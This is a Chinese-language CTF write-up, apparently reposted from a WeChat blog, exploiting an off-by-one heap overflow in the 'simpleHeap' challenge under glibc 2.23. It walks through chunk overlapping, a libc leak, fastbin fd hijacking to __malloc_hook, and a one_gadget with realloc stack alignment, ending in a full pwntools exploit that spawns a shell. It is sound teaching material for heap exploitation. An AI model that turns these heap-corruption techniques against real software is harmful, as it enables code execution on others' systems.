web选手入门pwn(13) ——off by one


7.    simpleHeap(off by one)
不带libc,使用libc-2.23做就行了。

web选手入门pwn(13) ——off by one

漏洞发生点在sub_CBB(edit)中。

web选手入门pwn(13) ——off by one

qword_2020A0和dword_202060按套路来说其中一个肯定是chunk list,另外一个是什么呢?gdb调试一下。

web选手入门pwn(13) ——off by one

是chunk size。跟进sub_C39。

web选手入门pwn(13) ——off by one

可以发现是i>a2的判断,也就是从0写到16,于是溢出了一个字节。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
sh = gdb.debug("./vn_pwn_simpleHeap","b *0x555555554d6fn c")#sh = process("./vn_pwn_simpleHeap")elf = ELF("./vn_pwn_simpleHeap")#chunk size#0x555555756060#chunk list#0x5555557560a0

def add(size, content="AAAAAAAA"): sh.sendlineafter("choice: ","1") sh.sendlineafter("size?",str(size)) sh.sendlineafter("content:",content)
def edit(index, content): sh.sendlineafter("choice: ","2") sh.sendlineafter("idx?",str(index)) sh.sendlineafter("content:",content)
def show(index): sh.sendlineafter("choice: ","3") sh.sendlineafter("idx?",str(index))
def delete(index): sh.sendlineafter("choice: ","4") sh.sendlineafter("idx?",str(index))
add(0x10)add(0x10)edit(0,"B"*17)show(0)sh.interactive()

web选手入门pwn(13) ——off by one

当然,这样溢出不到我们想要的字节,所以要用0x18

add(0x18)add(0x18)edit(0,"B"*0x18+"x81")show(0)sh.interactive()

web选手入门pwn(13) ——off by one

这样有什么用呢?通过改大size,越界打印其他chunk的fd/bk?看起来不行,因为show用的是puts,碰到x00就停止了,而我们无法避免x00。

web选手入门pwn(13) ——off by one

正解需要用到unsorted bins的切片特性做到重叠chunk。先申请一个便于溢出的0x18,两个0x60,一个防topchunk合并的0x10。由于我们用的libc是2.23所以不需要考虑tcache的问题。

add(0x18)#0add(0x60)#1add(0x60)#2add(0x10)#3

web选手入门pwn(13) ——off by one

篡改chunk1,将chunk2覆盖掉,再free chunk1。

edit(0, "B"*0x18+"xe1");delete(1)

web选手入门pwn(13) ——off by one

再将chunk1 add回来,会发生什么呢?

add(0x60)#1

web选手入门pwn(13) ——off by one

可以看到,unsorted bins切出了0x70的chunk,会继续将剩下的chunk2的0x70当作已经free的堆块。然而事实上是chunk2根本没有被free,所以接下来只需要打印chunk2,即泄露libc(main_arena+N)。
这种情况chunk2被称为堆重叠(chunk overlapping)。

show(2)

web选手入门pwn(13) ——off by one

跟libc对比发现是__malloc_hook + 0x68 = main_arena+N

from pwn import *
context.log_level = 'debug'context.arch='amd64'
sh = gdb.debug("./vn_pwn_simpleHeap","b *0x555555554d6fncnc")#sh = process("./vn_pwn_simpleHeap")elf = ELF("./vn_pwn_simpleHeap")e = ELF("./vn_pwn_simpleHeap")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")libc__malloc_hook = libc.sym['__malloc_hook']libc_main_arena_N = libc__malloc_hook + 0x68libc_malloc_hook = libc.sym['__malloc_hook']print(hex(libc__malloc_hook)) #0x3c3b10print(hex(libc_main_arena_N)) #0x3c3b78print(hex(libc_malloc_hook)) #0x3c3b10
def add(size, content="AAAAAAAA"): sh.sendlineafter("choice: ","1") sh.sendlineafter("size?",str(size)) sh.sendlineafter("content:",content)
def edit(index, content): sh.sendlineafter("choice: ","2") sh.sendlineafter("idx?",str(index)) sh.sendlineafter("content:",content)
def show(index): sh.sendlineafter("choice: ","3") sh.sendlineafter("idx?",str(index)) return sh.recvline()
def delete(index): sh.sendlineafter("choice: ","4") sh.sendlineafter("idx?",str(index))
add(0x18)#0add(0x60)#1add(0x60)#2add(0x10)#3
edit(0, "B"*0x18+"xe1");delete(1)
add(0x60)#1addr_main_arena_N = u64(show(2)[0:6]+"x00x00")print(hex(addr_main_arena_N))print(hex(libc_main_arena_N)) #0x3c3b78
sh.interactive()

web选手入门pwn(13) ——off by one

接下来如何getshell呢?显然chunk2这种状态既能show也能edit,我们可以轻松劫持它的fd,但还需要另外一个chunk配合。

add(0x60)#4delete(4)

web选手入门pwn(13) ——off by one

可以看到,由于chunk2被认为是free的,所以add(0x60)和delete(4)也是在它的位置上操作的。这样操作后,chunk4被认为是fastbin,而且和chunk2重叠,此时再编辑chunk2,即可达到劫持fd的目的。
劫持到哪个地址呢?由于Full RELRO保护防got表篡改,所以还是只能__free_hook/__malloc_hook。这里需要选择__malloc_hook,原因是还存在chunk size的校验,需要在__malloc_hook上方偏移一块地址出来当chunk size,而__free_hook上方不那么好偏移。

gdb看一眼__malloc_hook上方。

web选手入门pwn(13) ——off by one

将__memalign_hook的0x7f给偏移出来。

web选手入门pwn(13) ——off by one

得到偏移量为0x7ffff7dd1b10 – 0x7ffff7dd1b05  = 0xb,试一试。

edit(2, p64(addr_malloc_hook-0xb))add(0x60)add(0x60)

web选手入门pwn(13) ——off by one

可以看到,成功写入AAAA,不过实际测试这样离__malloc_hook太近了,再选更上面一个0x7f,离__malloc_hook 0x23。以及写入one_gadget。

edit(2, p64(addr_malloc_hook-0x23))add(0x60)add(0x60,"A"* 0x13 +p64(addr_one_gadget))sh.sendlineafter("choice: ","1")sh.sendlineafter("size?","16")sh.interactive()

但这样做无法getshell,原因是栈平衡问题,需要用realloc+13进行栈平衡。
https://bbs.kanxue.com/thread-246786.htm

完整exp如下。

from pwn import *
context.log_level = 'debug'context.arch='amd64'
#sh = gdb.debug("./vn_pwn_simpleHeap","b *0x555555554d6fncnc")sh = process("./vn_pwn_simpleHeap")elf = ELF("./vn_pwn_simpleHeap")e = ELF("./vn_pwn_simpleHeap")libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")libc__malloc_hook = libc.sym['__malloc_hook']libc_main_arena_N = libc__malloc_hook + 0x68libc_malloc_hook = libc.sym['__malloc_hook']libc_realloc_hook = libc.sym['__libc_realloc']print(hex(libc__malloc_hook)) #0x3c3b10print(hex(libc_main_arena_N)) #0x3c3b78print(hex(libc_malloc_hook)) #0x3c3b10
#chunk size#0x555555756060#chunk list#0x5555557560a0
def add(size, content="AAAAAAAA"): sh.sendlineafter("choice: ","1") sh.sendlineafter("size?",str(size)) sh.sendlineafter("content:",content)
def edit(index, content): sh.sendlineafter("choice: ","2") sh.sendlineafter("idx?",str(index)) sh.sendlineafter("content:",content)
def show(index): sh.sendlineafter("choice: ","3") sh.sendlineafter("idx?",str(index)) return sh.recvline()
def delete(index): sh.sendlineafter("choice: ","4") sh.sendlineafter("idx?",str(index))
add(0x18)#0add(0x60)#1add(0x60)#2add(0x10, "sh")#3
edit(0, "B"*0x18+"xe1");delete(1)
add(0x60)#1addr_main_arena_N = u64(show(2)[0:6]+"x00x00")addr_libc = addr_main_arena_N - libc_main_arena_Naddr_malloc_hook = addr_libc + libc_malloc_hookprint(hex(addr_malloc_hook))
#one_gadget#0x45206#0x4525a#0xef9f4#0xf0897addr_one_gadget = addr_libc + 0x4525a
add(0x60)#4delete(4)
realloc_hook = addr_libc + libc.symbols['__libc_realloc']
edit(2, p64(addr_malloc_hook-0x23))add(0x60)payload = "A" *(0x13-0x8) + p64(addr_one_gadget) + p64(realloc_hook+13)add(0x60, payload)sh.sendlineafter("choice: ","1")sh.sendlineafter("size?","16")sh.interactive()

web选手入门pwn(13) ——off by one


原文始发于微信公众号(珂技知识分享):web选手入门pwn(13) ——off by one

版权声明:admin 发表于 2024年6月3日 上午9:34。
转载请注明:web选手入门pwn(13) ——off by one | CTF导航

相关文章